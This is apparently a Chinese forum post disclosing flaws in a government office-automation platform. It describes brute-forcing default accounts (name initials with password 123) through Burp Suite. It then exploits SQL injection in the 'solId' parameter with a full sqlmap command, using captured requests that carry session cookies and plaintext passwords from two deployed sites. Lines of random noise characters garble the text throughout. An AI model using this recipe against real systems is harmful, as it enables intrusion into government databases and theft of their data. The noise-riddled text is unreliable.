|
8 D; w& _. Q. O5 k
+ S) @0 _" T3 r& V2 Y0 P
- V6 d% D8 p W3 O" Q$ w/ ~# ^7 V" }; R7 R7 d0 |4 p* f5 f
平台简介:
% }* h6 S' v3 }& i 7 o) I Z& g/ i
" _: O8 J2 j+ @3 A3 E5 Q 8 l% T' Y" u! V' r
2 ~* o4 a+ Y' V5 ^% a
3 r/ ?4 Z2 T% P* g! P/ r8 f) ` 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。 1 h& Z' j6 W! b7 {
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。 3 E% H4 D1 P* N% p+ h8 E
同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!+ h* `! k' S) e
]; i* v; K" b, s# N1 y7 V) L' U2 t+ j: z
) r9 ?& X: o7 w" j6 q* j9 F( \
1 }0 C7 H. ^' r
$ J- F) n! I; H8 R9 L
由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:, G: O* ~! n7 Y- `7 L
- \! W. A3 |! u0 A8 w, y8 O/ t
- B: V$ M$ Y. R4 j0 S4 k1 I }0 @, S
' M. `9 U" ?+ _4 ~2 A0 D( J$ z9 W4 R
0 j+ N9 [! N: P0 D
6 O( m/ ^1 o$ q: S* ]$ R http://1.1.1.1:7197/cap-aco/#(案例2-)
$ p- ~ P! d: y( [ 9 t; X% b! d: ]2 V
7 v# W) ^) r- W. D: z; b& R% q0 a
http://www.XXOO.com (案例1-官网网站)
T& ~3 b: M, p" Q! |: b6 l1 |
& u; G. F1 ^( b( q, t; F- l. U8 U8 c* Z$ G* q: o
3 K0 n5 b6 `) H P5 P, n: g; ^
1 J" B7 |( u& h5 Q( i0 }7 ]; _$ `1 H
- Y# j7 [- I6 e. E0 w1 | 漏洞详情:+ L6 N3 S" P7 B( O
7 o( K8 p: L. t8 N/ B" A
! g1 S" G" j; X4 P4 ~) e 初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试- m8 G, r4 Z% i, V1 o0 o" @
# | r$ O. _ `( z! A" g7 }
7 C8 }5 s7 \$ Z0 P* z7 m! j
首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:6 \6 {) h" \0 a6 r2 m% a) O
. o6 c9 l& K! A4 R
+ M8 \# J. }" V6 g. Y' K; `
" \4 Q1 |; k7 `0 \" I! c $ r/ ~ Q" D7 \/ e% z- z
; x, c7 J$ H0 ~( N8 x4 T) n6 } $ V! A8 M C$ f. ?% y; ~
& w) T$ N( f0 u$ W0 B8 j
: r* y0 J* t4 ~, x! u status为302即表示破解成功,然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包,抓包的数据分别如下:* e8 l2 h- E) m
3 y; \) a; |& N7 d
2 l% @# W3 w* ^3 F A0 |1 U9 \
1、案例1-官方网站1 Z1 H. h' g3 Z- u( f- g: \4 z( N
* Z t# q9 ^6 L# [& C7 Q. T
' l: e7 ~, v& M# P4 L! B; |7 I GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1
8 ?3 k) @' B7 z e# @( F* ^5 b
4 i& Q8 Z- c' U5 m- A8 X) ^( A$ }
Host: www.XXOO.com
2 [/ H+ d6 d9 n( J9 } ( \& u, m3 U0 V5 s" C
6 U% B9 w! o, s7 v5 R7 O+ G0 ^* ]' t
Proxy-Connection: Keep-Alive
: U7 `# k, w2 J h! s; B ) }7 J- a2 [+ `8 {) `7 b* q
7 t7 \ A% t# x7 a6 W s" S
Accept: application/json, text/javascript, */*; q=0.01* G! m7 E. V } ?5 U
7 G1 i+ [4 w3 \3 j" F
* i( L) \/ C. D& J) g
Accept-Language: zh-CN. }5 A, |! k" ?1 D5 u+ F
+ N* _+ c% m3 |/ I3 e2 \
, w+ i$ ^& z' y8 w' Z0 W; [
Content-Type: application/json$ a0 d3 z. ~ N( w- b" J
0 T" P4 x0 h( Y/ J9 _0 e
. P* [& V& p/ i+ d: b6 X/ ` User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko
5 m6 V W1 ~2 q# ~ u
' f- O& I- @8 ?# {6 B* o$ j
* p4 e2 k/ ]& S0 w* _. _1 _ X-Requested-With: XMLHttpRequest
; n5 u9 v. i `" \- G. w + _" m2 o5 N0 `& b
4 d0 s7 h6 M }: a( X" \8 s3 H
Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002
) Z* M( d1 Z* i1 }* X , ^) \' T" g1 ?' j9 |3 A7 k* c: i
2 e- ]+ }7 e M& S
Accept-Encoding: gzip, deflate, sdch. u+ M1 V! y5 E
" l: C6 l5 l; D: b( y. Q) O
8 s. v! O& K: F9 z Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e
7 E& M" i. o/ `0 j7 I$ t. G. o | & y3 ^: K+ |( R1 j* p) B+ H1 x
% Q* W1 ^& N4 Z+ S/ j
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:& O% J1 U$ F7 H# T- h
( s) m' ?' A# E
* r* M& O! K& M- f ! b8 I' h- a" S" }/ \, j
# E; J& s X! Q
7 `9 A% d$ d" _8 f
. v8 p. Y/ R1 k$ R* d
+ M0 R( u. n+ a; g% n- a5 v0 {2 F4 i
$ [; X& r5 ^/ ^" S! s
2 l% R7 u* Y2 _' K' ? K
/ i0 V! d, P! e' f) s9 {, r 5 `9 \% N9 u8 O
& Q- [2 y' i- `5 v& E3 G9 L* a
. C$ Z o4 b( R7 \0 t 3 Q: T, E( ~' D" S0 M9 `/ n
# L5 [- E2 o) a! l+ O4 q
( I: `3 G% _2 ]& ~' w
2、案例2-某天河云平台
7 i, U2 v- b9 j- P: p1 h- }& p
. @" l& N. n; I) a+ k
9 o! c1 q( H" X% t4 ? \ GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1, R" N# f1 C- b. N( ]; C# ]3 n& Z
+ g( @( f, J# L% l% b. s
/ K. C% e! P5 _ Host: 1.1.1.:7197
( `$ r8 Q# Q' ~% M
4 _; `7 b8 |" y8 X$ Z. N2 S l' J- C. k% m8 X
Accept: application/json, text/javascript, */*; q=0.01) c) m6 F# n; g, V( H* o
0 Q9 ] A" ?" r4 n# Y; A% j4 t( i3 a' t! U$ p% M, g& ]8 K
X-Requested-With: XMLHttpRequest- m0 ]( F% I( U% m6 b$ v
( A4 u, R$ ]- V2 \4 h; x- k2 m0 q) A' H/ n1 h! n
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
$ g; e7 H- s$ _9 j8 O/ w) E! m
3 \& Z1 W+ S& p z0 |" J8 r* w
; F: s0 Y) j0 }# h; X- E6 h Content-Type: application/json
f) o% V' |+ ?2 m5 l$ j1 u- {
# ~) g6 p) p5 \6 c- p; C" a# \* \7 c0 I9 c
Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008
( e8 G! Z0 E! r5 t9 N7 l4 B r; _; @, ?# p5 R( q9 N2 O
x+ Y2 z* V |( n% o
Accept-Language: zh-CN,zh;q=0.8
% k% |( o1 T- c! T
7 f6 I0 g# H, v" |9 }3 k' _ c2 k: R) F- y) u, I) P# S3 `! s
Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1; |8 Y# e$ U+ Y( v8 K( s7 j3 T& P
5 w" K2 C( x5 X5 }- N) H! d- K
* ~7 o7 T! g( u4 ]) z Connection: close
9 i5 ~5 R+ e; v# h+ I: f ( }; _' x: @: Z9 p$ t6 ~- U
/ A( @+ K0 h( y0 r
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:. }/ Y$ S7 q# S o2 J* z5 ~" @
& V9 |+ B/ [5 @0 b n/ Q" I+ e! x/ C' S/ [
6 X- N! F3 O" f9 ?* i* b( n0 ? 7 {! I4 f# p4 m7 H+ h- j
8 ^ d6 o/ \. |- B3 t. b
+ a$ F* X7 }( e- F8 s& } |